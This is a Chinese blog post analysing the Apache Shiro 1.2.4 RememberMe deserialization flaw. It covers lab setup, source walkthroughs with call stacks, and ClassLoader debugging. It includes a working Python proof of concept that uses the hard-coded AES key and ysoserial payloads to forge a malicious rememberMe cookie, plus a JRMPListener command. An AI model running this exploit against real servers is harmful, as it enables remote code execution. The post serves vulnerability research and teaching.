师傅您好,最近我也在分析这个漏洞,分析到 readObject 之后,再进行分析时,并没有想您博客上描述的出现这样的数据 “[Ljava.lang.StackTraceElement;” 在 “forName” 最后执行出来所对应的值也并不为null 。
另: 可以加个联系方式,讨论吗 ? 这是我的QQ:1401170562
简介
Apache Shiro™是一个强大且易用的Java安全框架,能够用于身份验证、授权、加密和会话管理。Shiro拥有易于理解的API,您可以快速、轻松地获得任何应用程序——从最小的移动应用程序到最大的网络和企业应用程序。
Shiro v1.2.4中使用RememberMe
功能时,使用了AES
对Cookie
进行加密,但AES
密钥硬编码在代码中且不变,因此可以进行加密解密,并触发反序列化漏洞完成任意代码执行。
感觉网上的分析的文章都并不深入,并且在我自己的环境中,发现很多结论感觉都是错的,欢迎打脸ORZ。
环境搭建
java version "1.7.0_21",方便使用 ysoserial中的payload
Server version: Apache Tomcat/8.5.56,jdk1.7支持tomcat8
shiro-root-1.2.4,9549384b0d7b77b87733892ab00b94cc31019444,漏洞分支
commons-collections4,适用于ysoserial中的payload
使用Apache Shiro Quickstart示例页面进行测试
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4 #切换分支
使用shiro/samples/web
示例项目目录,IDEA
导入并进行设置。
配置~/.m2/toolchains.xml
,添加jdk
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.7</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>/Library/Java/JavaVirtualMachines/jdk1.7.0_21.jdk/</jdkHome>
</configuration>
</toolchain>
</toolchains>
配置pom.xml,添加依赖库
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-toolchains-plugin</artifactId>
<version>1.1</version>
<executions>
<execution>
<goals>
<goal>toolchain</goal>
</goals>
</execution>
</executions>
<configuration>
<toolchains>
<jdk>
<version>1.7</version>
<vendor>sun</vendor>
</jdk>
</toolchains>
</configuration>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
下载JSTL标签库,导入到IDEA中
IDEA中添加设置tomcat服务器:
运行成功:
生成Cookie的POC:
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections5', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
payload = rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
# payload = encode_rememberme('http://shiro.f422cd57.n0p.co')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
漏洞分析
org/apache/shiro/mgt/DefaultSecurityManager.java:492
使用resolvePrincipals
方法启发式解析上下文凭据
org/apache/shiro/mgt/DefaultSecurityManager.java:604
获取RememberMeManager
对象,并调用getRememberedPrincipals
方法
org/apache/shiro/mgt/AbstractRememberMeManager.java:393
继续调用getRememberedSerializedIdentity
方法
org/apache/shiro/web/mgt/CookieRememberMeManager.java:215
获取序列化的凭证,从请求中获取Cookie
中的rememberMe
并进行base64
解码,解码后内容为AES加密内容并返回。
org/apache/shiro/mgt/AbstractRememberMeManager.java:396
将解码的内容传入convertBytesToPrincipals
进行AES解密和反序列化
org/apache/shiro/mgt/AbstractRememberMeManager.java:429
调用decrypt
函数进行AES解密
org.apache.shiro.mgt.AbstractRememberMeManager#decrypt
跟进getDecryptionCipherKey
函数
org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey
返回获取解密密钥
org.apache.shiro.mgt.AbstractRememberMeManager#decryptionCipherKey
成员decryptionCipherKey
存储着硬编码的密钥,当每次shiro启动初始化时就会使用硬编码进行赋值。
org.apache.shiro.mgt.AbstractRememberMeManager#AbstractRememberMeManager
shiro启动时在构造函数中设置密钥为DEFAULT_CIPHER_KEY_BYTES
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
DEFAULT_CIPHER_KEY_BYTES
为硬编码,继续跟进。
org.apache.shiro.mgt.AbstractRememberMeManager#setEncryptionCipherKey
密钥设置完成,以供后续使用,密钥设置的调用栈:
setEncryptionCipherKey:192, AbstractRememberMeManager (org.apache.shiro.mgt)
setCipherKey:250, AbstractRememberMeManager (org.apache.shiro.mgt)
<init>:109, AbstractRememberMeManager (org.apache.shiro.mgt)
<init>:87, CookieRememberMeManager (org.apache.shiro.web.mgt)
<init>:75, DefaultWebSecurityManager (org.apache.shiro.web.mgt)
createDefaultInstance:65, WebIniSecurityManagerFactory (org.apache.shiro.web.config)
createDefaults:146, IniSecurityManagerFactory (org.apache.shiro.config)
createDefaults:71, WebIniSecurityManagerFactory (org.apache.shiro.web.config)
createSecurityManager:123, IniSecurityManagerFactory (org.apache.shiro.config)
createSecurityManager:102, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:88, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:46, IniSecurityManagerFactory (org.apache.shiro.config)
createInstance:123, IniFactorySupport (org.apache.shiro.config)
getInstance:47, AbstractFactory (org.apache.shiro.util)
createWebSecurityManager:203, IniWebEnvironment (org.apache.shiro.web.env)
configure:99, IniWebEnvironment (org.apache.shiro.web.env)
init:92, IniWebEnvironment (org.apache.shiro.web.env)
init:45, LifecycleUtils (org.apache.shiro.util)
init:40, LifecycleUtils (org.apache.shiro.util)
createEnvironment:221, EnvironmentLoader (org.apache.shiro.web.env)
initEnvironment:133, EnvironmentLoader (org.apache.shiro.web.env)
contextInitialized:58, EnvironmentLoaderListener (org.apache.shiro.web.env)
listenerStart:4689, StandardContext (org.apache.catalina.core)
startInternal:5155, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:743, ContainerBase (org.apache.catalina.core)
addChild:719, ContainerBase (org.apache.catalina.core)
addChild:705, StandardHost (org.apache.catalina.core)
manageApp:1719, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:286, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:792, JmxMBeanServer (com.sun.jmx.mbeanserver)
createStandardContext:479, MBeanFactory (org.apache.catalina.mbeans)
createStandardContext:428, MBeanFactory (org.apache.catalina.mbeans)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:286, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:792, JmxMBeanServer (com.sun.jmx.mbeanserver)
invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security)
doOperation:1486, RMIConnectionImpl (javax.management.remote.rmi)
access$300:96, RMIConnectionImpl (javax.management.remote.rmi)
run:1327, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi)
doPrivileged:-1, AccessController (java.security)
doPrivilegedOperation:1426, RMIConnectionImpl (javax.management.remote.rmi)
invoke:847, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
dispatch:322, UnicastServerRef (sun.rmi.server)
run:177, Transport$1 (sun.rmi.transport)
run:174, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:173, Transport (sun.rmi.transport)
handleMessages:553, TCPTransport (sun.rmi.transport.tcp)
run0:808, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:667, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:722, Thread (java.lang)
返回整体流程
org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])
org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[], byte[])
org.apache.shiro.crypto.JcaCipherService#crypt(byte[], byte[], byte[], int)
org.apache.shiro.crypto.JcaCipherService#crypt(javax.crypto.Cipher, byte[])
初始化Cipher实例,设置执行模式以及密钥,步步跟进,完成AES解密,返回使用ysoserial生成的序列化的payload。
org.apache.shiro.mgt.AbstractRememberMeManager#deserialize
org.apache.shiro.io.DefaultSerializer#deserialize
跟进并看到了熟悉的readObject,这里就是反序列化的触发点,此时的调用栈为:
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)
buildSubject:846, Subject$Builder (org.apache.shiro.subject)
buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject)
createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1627, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:722, Thread (java.lang)
JDK1.8+commons-collections-3.2.1 深入探究
前文添加commons-collections4.0
,而Shiro
自带的commons-collections-3.2.1
在JDK1.8u112
中,可以直接利用ysoserial
中的Commons-Collections5
(3.1-3.2.1,jdk1.8)
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
直接利用脚本生成Cookie,打出发现报错。
2020-06-22 19:22:48,995 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the current ClassLoader. Trying the system/application ClassLoader...
2020-06-22 19:22:51,375 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [sun.misc.Launcher$AppClassLoader@18b4aac2]
2020-06-23 10:49:39,338 DEBUG [org.apache.shiro.mgt.AbstractRememberMeManager]: There was a failure while trying to retrieve remembered principals. This could be due to a configuration problem or corrupted principals. This could also be due to a recently changed encryption key. The remembered identity will be forgotten and not used for this request.
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.
org.apache.shiro.io.ClassResolvingObjectInputStream#resolveClass
发现shiro
中ClassResolvingObjectInputStream
继承了ObjectInputStream
,并且resolveClass
被重写,调用forName
org.apache.shiro.util.ClassUtils#forName
加载的参数为[Lorg.apache.commons.collections.Transformer;
。
这是一种对函数返回值和参数的编码,做JNI字段描述符(JavaNative Interface FieldDescriptors),[
表示数组,一个代表一维数组,比如 [[
代表二维数组。之后 L
代表类描述符,最后 ;
表示类名结束。
首先使用加载器THREAD_CL_ACCESSOR.loadClass
,若加载失败返回为null
,则尝试使用CLASS_CL_ACCESSOR.loadClass
,若继续加载失败返回为null
,则尝试使用SYSTEM_CL_ACCESSOR.loadClass
,若继续加载失败返回为null
,则抛出异常。
org.apache.shiro.util.ClassUtils.ExceptionIgnoringAccessor#loadClass
跟进THREAD_CL_ACCESSOR.loadClass
,发现使用loadClass
进行加载,跟进cl.loadClass
。
跳坑
Class.forName
不支持原生类型,但其他类型都是支持的。Class.loadClass
不能加载原生类型和数组类型,其他类型都是支持的,测试代码如下:
Class classString = ClassLoader.getSystemClassLoader().loadClass("java.lang.String");// 类
Class classEnum = ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.RetentionPolicy");// 枚举
Class classInterface = ClassLoader.getSystemClassLoader().loadClass("java.io.Serializable");// 接口
Class classAnnotation = ClassLoader.getSystemClassLoader().loadClass("java.lang.annotation.Documented");// 注解
//Class classIntArray = ClassLoader.getSystemClassLoader().loadClass("[I");// 数组类型不能使用ClassLoader.loadClass方法
//Class classStringArray = ClassLoader.getSystemClassLoader().loadClass("[Ljava.lang.String;");// 数组类型不能使用ClassLoader.loadClass方法
可以发现确实不能加载,这也是网上公认的[Lorg.apache.commons.collections.Transformer;
加载失败的原因。
在我个人搭建的环境下,个人认为这个原因并不准确,如图:
org.apache.shiro.util.ClassUtils.ExceptionIgnoringAccessor#loadClass
在漏洞环境的tomcat
上下文中类似[Ljava.lang.StackTraceElement;
是可以被加载的
org.apache.catalina.loader.WebappClassLoaderBase#loadClass(java.lang.String)
继续跟进[Lorg.apache.commons.collections.Transformer;
,上下文进入了tomcat,IDEA中需要导入tomcat源码。
org/apache/catalina/loader/WebappClassLoaderBase.java:1344
这里可以发现在tomcat
的环境中其实最终还是调用了Class.forName
,因此是可以加载数组的。
那么为什么不能加载[Lorg.apache.commons.collections.Transformer;
呢,经过反复的调试发现java.lang
下面的数组可以正常加载,并确定了原因:
Tomcat
和JDK
的Classpath
是不公用且不同的,Tomcat
启动时,不会用JDK
的Classpath
,需要在catalina.sh
中进行单独设置。加载失败时,通过
System.getProperty("java.class.path")
得到Tomcat
中的classpath如下:/Applications/tomcat8/bin/bootstrap.jar:/Applications/tomcat8/bin/tomcat-juli.jar:/Users/rai4over/Library/Caches/JetBrains/IntelliJIdea2020.1/captureAgent/debugger-agent.jar
可以在
catalina.sh
中修改如下:if [ -r "$CATALINA_BASE/bin/tomcat-juli.jar" ] ; then CLASSPATH=$CLASSPATH:$CATALINA_BASE/bin/tomcat-juli.jar else CLASSPATH=$CLASSPATH:$CATALINA_HOME/bin/tomcat-juli.jar fi CLASSPATH=$CLASSPATH:/Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar:/Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1-sources.jar
Tomcat重新启动后就能成功加载
[Lorg.apache.commons.collections.Transformer;
在tomcat的上下文环境中调用
Class.forName(name, false, parent)
,使用了URLClassLoader
作为ClassLoader
,但在URLClassLoader
中没有包含[Lorg.apache.commons.collections.Transformer;
位置,如图所示:
指定commons-collections-3.2.1.jar
路径即可
Class.forName("[Lorg.apache.commons.collections.Transformer;", true, new URLClassLoader(new URL[]{new URL("file:///Users/rai4over/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar")}));
至于能不能直接成功呢,大家可以自己去尝试,hhhhhhh
出坑
直接给出答案,可以使用JRMP解决问题。
启动恶意的JRMP服务端
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 '/System/Applications/Calculator.app/Contents/MacOS/Calculator'
生成JRMP客户端payload
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections5', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
payload = rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
# payload = encode_rememberme('http://shiro.f422cd57.n0p.co')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
那为什么JRMP
能够成功呢?受害服务器成为JRMP
客户端时,根据ClassLoader
猜测受害服务器加载过程的不依赖外部库。
ysoserial/src/main/java/ysoserial/payloads/JRMPClient.java
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
翻看ysoserial
源码payload所需类确实均为JDK
下。
受害服务器最终肯定是要依靠Transformer
完成任意代码执行的,那么[Lorg.apache.commons.collections.Transformer;
究竟如何加载的呢。
受害服务器第一次反序列化成为JRMP
客户端,并连接恶意的JRMP
服务端,主要涉及模块sun.rmi.*
。
sun.rmi.transport.DGCClient#registerRefs
可以看到恶意服务器地址,然后一路跟进
sun.rmi.transport.DGCImpl_Stub#dirty
看起来和RMI
的过程相似
sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall)
sun/rmi/transport/StreamRemoteCall.class:169
连接通信的过程涉及序列化和反序列化,受害服务器接受恶意数据并进行了第二次反序列化,this.in
类型为ConnectionInputStream
。
ConnectionInputStream
通过父类MarshalInputStream
重写了resolveClass
sun.rmi.server.LoaderHandler#loadClass(java.lang.String, java.lang.String, java.lang.ClassLoader)
sun/rmi/server/LoaderHandler.class:557
这里使用Class.forName
加载[Lorg.apache.commons.collections.Transformer;
,并且Classloader
为ParallelWebappClassLoader
,此为可并行的Webapp
加载器,包含整个应用所需的Class
加载方式。
因此加载[Lorg.apache.commons.collections.Transformer;
成功,当前的调用栈为:
forName:348, Class (java.lang)
loadClassForName:1221, LoaderHandler (sun.rmi.server)
loadClass:175, LoaderHandler (sun.rmi.server)
loadClass:637, RMIClassLoader$2 (java.rmi.server)
loadClass:264, RMIClassLoader (java.rmi.server)
resolveClass:219, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1620, ObjectInputStream (java.io)
readClassDesc:1521, ObjectInputStream (java.io)
readArray:1671, ObjectInputStream (java.io)
readObject0:1347, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
readSerialData:1942, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
defaultReadObject:503, ObjectInputStream (java.io)
readObject:143, LazyMap (org.apache.commons.collections.map)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
readSerialData:1942, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
access$300:208, ObjectInputStream (java.io)
readFields:2182, ObjectInputStream$GetFieldImpl (java.io)
readFields:543, ObjectInputStream (java.io)
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
access$300:208, ObjectInputStream (java.io)
readFields:2182, ObjectInputStream$GetFieldImpl (java.io)
readFields:543, ObjectInputStream (java.io)
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
defaultReadFields:2018, ObjectInputStream (java.io)
readSerialData:1942, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)
buildSubject:846, Subject$Builder (org.apache.shiro.subject)
buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject)
createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1627, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
总结
两种方式都是使用Class.forName
进行数组加载,但是Classloader
大不相同,因此一个能成功一个不行。网上说的都不一定对,人云亦云的比较多,看Java就得像p老板说的敢去翻源码,hhhhhh。
参考
https://blog.csdn.net/moakun/article/details/80402562
https://paper.seebug.org/shiro-rememberme-1-2-4/
https://blog.csdn.net/u012643122/article/details/46523007
https://blog.orange.tw/2018/03/
https://hunterzhao.io/post/2018/05/15/hotspot-explore-java-lang-class-forname/